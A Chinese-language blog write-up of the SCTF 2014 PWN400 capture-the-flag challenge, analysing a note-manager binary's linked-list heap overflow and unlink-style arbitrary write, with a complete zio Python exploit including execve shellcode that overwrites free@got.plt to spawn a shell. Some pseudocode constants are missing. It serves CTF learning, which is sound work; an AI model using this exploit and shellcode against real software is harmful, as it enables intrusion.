之前没有分析PWN400,现在再开一篇文章分析一下。

这个日志是我做题的一个笔记,就是说我做一步题就记录一下是实时的。所以说可能会有错误之类的。

首先程序是经典的笔记本程序,基本上一看到这种笔记本就知道是考堆了吧~

  write(, "1.New note\n", 0xBu);
write(, "2.Show notes list\n", 0x12u);
write(, "3.Show note\n", 0xCu);
write(, "4.Edit note\n", 0xCu);
write(, "5.Delete note\n", 0xEu);
write(, "6.Quit\n", 7u);
write(, "option--->> ", 0xCu);

功能选单也是很经典。。。。

那我们也按照套路来看看,首先是看下new note功能,看下note是怎么创建的,以及数据的存放位置。

//IDA 伪代码
int __cdecl sub_804897E(int a1)
{
void *v2; // [sp+1Ch] [bp-Ch]@1 v2 = malloc(364u);
write(, "\nnote title:", 0xCu);
read(, (char *)v2 + , 63u);
write(, "note type:", 0xAu);
read(, (char *)v2 + , 31u);
write(, "note content:", 0xDu);
read(, (char *)v2 + , 0xFFu);
*(_DWORD *)v2 = v2;
write(, "\n\n", 2u);
if ( *(_DWORD *)a1 )
{
*((_DWORD *)v2 + ) = *(_DWORD *)a1;
*(_DWORD *)(*(_DWORD *)a1 + ) = v2;
*((_DWORD *)v2 + ) = ;
*(_DWORD *)a1 = v2;
}
else
{
*(_DWORD *)a1 = v2;
*((_DWORD *)v2 + ) = ;
*((_DWORD *)v2 + ) = ;
}
return ;
}

可以看到这个是一定的结构来组织的,从这里估计这是一个模仿堆机制的漏洞,而不是真正的堆漏洞。

因为如果是堆漏洞的话,就没有必要搞这么麻烦的结构了,直接用堆自己的结构就可以了,当然这只是一个猜测,我也不知道到底是什么漏洞。

看了一下结构是这样的

  struct note
{
DWORD 本块的指针;
DWORD 后一块的指针;
DWORD 前一块的指针;
byte title[];
byte type[];
byte content[]; }

可见是一个双向链表的存在。

注意这里,IDA F5出来的伪代码是错误的

  *(_DWORD *)(*(_DWORD *)a1 + 4) = v2;
*((_DWORD *)v2 + 1) = 0;

这里明显是有逻辑问题的,看了一下汇编果然是插件的问题,汇编如下。

arg_0是函数的参数,也就是伪代码里的a1

var_c是分配的堆的指针,也就是伪代码里的v2

我们再来看看edit功能,因为edit功能往往是漏洞多发的地方。尤其是ZCTF给我留下了这个阴影。。都是edit功能出的问题,而show和delete功能只是作为触发条件的。

来看下edit功能:

有一个相当明显的堆溢出,看来我们是真的找对地方了。问题就是出在edit功能中。

再来看看其他部分吧,因为这么多的功能肯定是有用的,要不也没必要搞这么复杂了。

首先考虑的是leak的问题,因为首先我们分配的堆的地址是不确定的,要是想往堆里写点东西干点什么的话,肯定是要leak堆地址的。

如果不用堆地址的话,那么我们可能需要去改got表,因为堆溢出的本质就是任意地址写,肯定要leak出某个函数的真实地址。

我现在是在没有进一步分析程序的情况下做出的猜测。

说一下想法,因为目前没找到其他的漏洞。所以玩法应该就是利用堆溢出构造伪堆块,然后用空堆块合并机制实现unlink操作,进行任意地址写。写的目标应该是某个要调用函数的got表,

把它的内容改成system函数的虚拟地址或者是某个可以执行shellcode的地址。但是在此之前还是要leak内存,就是像上一段说的那样,必须要进行leak才行。

leak内存的想法就是找show功能选项。而要达到触发unlink宏还需要一个条件就是一个可控的free()。

后来想了一下,发现自己的整体想法都是有问题的。这道题考的根本就不是堆漏洞,而是用双向链表模拟堆。我一直都把它当成堆漏洞来搞是完全错误的,比如我的想法是伪造堆块诱发合并触发unlink,

这个思路对于这道题是完全错误的。因为这个题有它自己的链表机制如果去伪造堆块的话,会破坏它的链表是堆无法正常释放。

那么正确的思路应该是利用那个双向链表,实现一个类似于DWORD SHOOT的利用,我们看一下delete函数是不是这样的。

果然如此,经典的dword shoot写法,

前块的后向指针=当前的后向指针

后块的前向指针=当前的前向指针

再看下链表遍历机制,   *(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8);它是这样去遍历双向链表的,所以覆盖头不会出现问题。

此外就是它的地址问题了,怎么样得到system的地址。我看了一下其他功能没有发现其他漏洞,那么很有可能是没办法得到system的地址的。我们再来看一下保护

蛤蛤,没有开nx,这个题啊,一颗赛艇。说明我们可以到处去写shellcode了。

而show功能又可以leak出块的地址,这样的话就没有任何问题了。正常的利用堆溢出去构造unlink造成dword shoot,造成任意地址写。把free@got.plt改成我们在堆中的shellcode的地址。而shellcode的地址怎么获取呢?通过show功能就可以看到了,到这里整个的思路就很清晰了

 from zio import *
import re shellcode = ""
shellcode += "\x68\x2F\x73\x68\xFF\x68\x2F\x62\x69\x6E\x8D\x1C\x24\x31\xC0\x88\x43\x07\x50\x53\x89\xE1\x8D\x51\x04\x83\xC0\x0B\xCD\x80\x31\xC0\x40\x31\xDB\xCD\x80" length=len(shellcode) io=zio('./pwn400',timeout = 99999) io.read_until('--->>')#create a
io.writeline('')
io.read_until('title:')
io.writeline('a')
io.read_until('type:')
io.writeline('a')
io.read_until('content:')
io.writeline('a') io.read_until('--->>')#create b
io.writeline('')
io.read_until('title:')
io.writeline('b')
io.read_until('type:')
io.writeline('b')
io.read_until('content:')
io.writeline('b') io.read_until('--->>')#create c
io.writeline('')
io.read_until('title:')
io.writeline('c')
io.read_until('type:')
io.writeline('c')
io.read_until('content:')
io.writeline('c') io.read_until('--->>')#show note b
io.writeline('')
io.read_until('title:')
io.writeline('b')
data=io.read_until('type:')
note1_add = re.compile("0x(\w+)")
result = note1_add.findall(data)
note1 = int(result[0],16)
print 'dbg address of b'+hex(note1) io.read_until('--->>')#edit note a
io.writeline('')
io.read_until('title:')
io.writeline('a')
io.read_until('content:')
sc1=shellcode+'a'*(260-length)+l32(note1)+l32(0x804A450-0x8)+l32(note1-260)
#io.gdb_hint()
io.writeline(sc1)
#io.gdb_hint() io.read_until('--->>')#delete note b
io.writeline('')
io.read_until('location:')
io.gdb_hint()
end=hex(note1).lstrip("0x")
#print end
io.writeline(end)
io.gdb_hint() io.interact()

SCTF 2014 PWN400 分析的更多相关文章

  1. SCTF 2014 pwn题目分析

    因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...

  2. [2017BUAA软工]第三次博客作业:案例分析

    第三次博客作业:案例分析 1. 调研和评测 1.1 BUG及设计缺陷描述 主要测试博客园在手机端上的使用情况. [BUG 01] 不能后退到上一界面(IOS) 重现步骤:打开博客首页中任意博文,点击博 ...

  3. 家里蹲大学数学杂志 Charleton University Mathematics Journal 官方目录[共七卷493期,6055页]

    家里蹲大学数学杂志[官方网站]从由赣南师范大学张祖锦老师于2010年创刊;每年一卷, 自己有空则出版, 没空则搁置, 所以一卷有多期.本杂志至2016年12月31日共7卷493期, 6055页.既然做 ...

  4. NDMCDB数据库hang住故障分析 - cursor: pin S wait on X

    问题描写叙述: 上午刚刚到办公室,就有监控人员邮件反馈,昨晚NDMCDB407数据库被重新启动过,让我分析一下数据库重新启动的原因.因为昨晚业务有版本号上线,所以短信警告关闭了,所以没有短信下发到我手 ...

  5. 2016年后web开发趋势是什么?

    2016 年后 Web开发趋势是什么 来源:yafeilee.me 发布时间:2016-05-06 阅读次数:1378 3   近二年的进展 前端发展日新月异, 甚至有一句戏言: "每六星期 ...

  6. 【文献阅读】Stack What-Where Auto-encoders -ICLR-2016

    一.Abstract 提出一种新的autoencoder -- SWWAE(stacked what-where auto-encoders),更准确的说是一种 convolutional autoe ...

  7. 浅说——树形DP

    啊!DP! 顾名思义,树形DP就是在树上所做的动态规划.我们一般所做的动态规划多是线性的,线性DP我们可以从前向后或从后向前两种方法,不妨类比一下,在树上我们同样可以有两种方法,从根向树叶或者从树叶向 ...

  8. Uboot 2014.07 makefile分析 - 其他Cortex系列

    uboot的官网可以通过谷歌搜索得到,显示结果第一个链接就是. 官网:: http://www.denx.de/wiki/U-Boot ftp下载: ftp://ftp.denx.de/pub/u-b ...

  9. CVE-2014-4115漏洞分析(2014.11)

    CVE-2014-4115漏洞分析 一.简介 该漏洞是由于Windows的Fastfat.sys组件在处理FAT32格式的硬盘分区存在问题.攻击者利用成功可导致权限提升. 影响的系统包括: Windo ...

随机推荐

  1. linux命令总结之traceroute命令

    通过traceroute我们可以知道信息从你的计算机到互联网另一端的主机是走的什么路径.当然每次数据包由某一同样的出发点(source)到达某一同样的目的地(destination)走的路径可能会不一 ...

  2. windows下64位python的安装及机器学习相关包的安装(实用)

    开通博客已久,想了好久决定写个基础的安装教程,望后人少走弯路,也借此希望跟大家多多交流.文中给出的链接默认是基于对python2.7的前提下的包. 1.首先下载64位Python包,进行安装(默认py ...

  3. P3924 康娜的线段树

    P3924 康娜的线段树 题目描述 小林是个程序媛,不可避免地康娜对这种人类的"魔法"产生了浓厚的兴趣,于是小林开始教她OI. 今天康娜学习了一种叫做线段树的神奇魔法,这种魔法可以 ...

  4. 数据库日志文件(databasename_log.ldf)太大 如何清除

    在SQL2008中清除日志就必须在简单模式下进行,等清除动作完毕再调回到完全模式.方案一:完全命令模式USE[master] GO ALTER DATABASE DNName SET RECOVERY ...

  5. id=%d是什么意思呢?

    $branch=M('Branchs')->where("id=%d",session('branchid'))->find(); %d代表,逗号后面那个user[]的 ...

  6. [SDOI2010]外星千足虫 题解 高斯消元+bitset简介

    高斯消元 + bitset 简介: 高斯消元其实就是以加减消元为核心求唯一解.这道题还是比较裸的,可以快速判断出来.我们将每一只虫子看作一个未知数,这样根据它给出的 m 组方程我们可以高斯消元得出每一 ...

  7. 20155303 2016-2017-2 《Java程序设计》第三周学习总结

    20155303 2016-2017-2 <Java程序设计>第三周学习总结 教材学习内容总结 第四章 学会如何查询Java API文件对于Java的学习很有帮助,可以了解到如何使用各种方 ...

  8. equals方法变量和常量位置区别

    对于字符串比较,我的习惯用法是   变量.equals(常量) 比如:     a.equals("a") 今天看视频才知道变量在前面与后面有很大影响,正确的写法是常量放前面(可以 ...

  9. 3 - django-template模板基本使用

    目录 1 Template 1.1 模板的基础使用 1.1.1 变量 1.1.2 注释标签 1.1.3 深度查询 1.1.4 内置变量过滤器filter 1.1.5 自定义过滤器之filter 1.1 ...

  10. 采用dlopen、dlsym、dlclose加载动态链接库【总结】【转】

    转自:https://www.cnblogs.com/Anker/p/3746802.html 1.前言 为了使程序方便扩展,具备通用性,可以采用插件形式.采用异步事件驱动模型,保证主程序逻辑不变,将 ...